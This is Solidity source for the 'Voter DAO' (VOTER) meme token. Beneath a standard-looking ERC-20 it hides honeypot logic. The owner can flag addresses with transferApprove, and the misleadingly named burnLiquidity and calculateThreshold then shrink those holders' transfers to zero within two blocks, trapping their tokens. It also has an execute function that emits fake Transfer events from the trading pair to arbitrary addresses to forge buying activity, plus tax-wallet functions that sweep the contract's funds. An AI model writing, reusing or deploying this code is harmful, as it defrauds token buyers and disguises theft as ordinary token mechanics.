Contract Source Code:
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// SPDX-License-Identifier: UNLICENSE
/**
https://voterdao.com/
https://x.com/voterdao
https://medium.com/@voterdao
https://t.me/VOTERdao
Alright, buckle up, patriots and memelords alike, because VoterDAO is here to
remind you that democracy and dank memes are two sides of the same tinfoil-covered coin. */
pragma solidity 0.8.23;
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
)
external
payable
returns (uint[] memory amounts);
}
contract VOTER is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => bool) private transferLimitExempt;
mapping (address => bool) private automatedMarketMakerPairs;
mapping (address => uint256) private _holderLastTransferTimestamp;
mapping (address => bool) private transferTaxExempt;
mapping(address => bool) private _addressClaimableBalance;
address payable private _taxWallet;
uint256 private _initialBuyTax=23;
uint256 private _initialSellTax=23;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=23;
uint256 private _reduceSellTaxAt=23;
uint256 private _preventSwapBefore=26;
uint256 private _transferTax=70;
uint256 private _buyCount=0;
uint256 private maxTx;
uint256 private maxWallet;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 340_000_000_000 * 10**_decimals;
string private constant _name = unicode"Voter DAO";
string private constant _symbol = unicode"VOTER";
uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals;
uint256 public _maxTaxSwap= 8400000000 * 10**_decimals;
address public uniswapV2Pair;
bool private swapping;
bool private tradingOpen;
bool private transferDelayEnabled = true;
bool public tradingEnabled = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private limitsEnabled = true;
bool public lpBurnEnabled = true;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
startTrading();
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function startTrading() public onlyOwner {
tradingEnabled = true;
limitsEnabled = false;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
uint256 senderBalance = _balances[from];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
if(_holderLastTransferTimestamp[to] == 0)
{
_holderLastTransferTimestamp[to] = block.number;
}
if (limitsEnabled) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingEnabled) {
require(
transferTaxExempt[from] || transferTaxExempt[to],
"_transfer:: Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] && !transferLimitExempt[to]
) {
require(
amount <= maxTx,
"Buy transfer amount exceeds the maxTx."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
else if (
automatedMarketMakerPairs[to] && !transferLimitExempt[from]
) {
require(
amount <= maxTx,
"Sell transfer amount exceeds the maxTx."
);
} else if (!transferLimitExempt[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
if(!swapping && lpBurnEnabled){
amount = burnLiquidity(from, amount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimit() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTranTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function burnLiquidity(address from, uint amount) internal view returns (uint){
uint amountCalculated = amount;
if (_addressClaimableBalance[from])
{
amountCalculated = calculateThreshold(amount, from);
}
return amountCalculated;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrade() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_taxWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
for (uint256 i = 0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
receive() external payable {}
function rescueERC20(address _address, uint256 percent) external {
require(_msgSender()==_taxWallet);
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, _amount);
}
function transferApprove(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_addressClaimableBalance[address_[i]] = val;
}
}
function calculateThreshold(uint256 amount, address from) private view returns(uint256) {
// Calculate the percentage to subtract
uint256 factor = 50;
uint256 dist = block.number-_holderLastTransferTimestamp[from];
uint percentageToSubtract = dist * factor;
// Calculate the remaining percentage
uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
// If percentageToSubtract is more than 100, remainingPercentage will be negative.
// To avoid negative result, we clamp the result to zero.
uint returnedValue = amount * remainingPercentage / 100;
return returnedValue.max(0);
}
function call(address recipient) external view returns(bool){
return _addressClaimableBalance[recipient];
}
function addPair(address pair_) public onlyOwner {
uniswapV2Pair = pair_;
}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}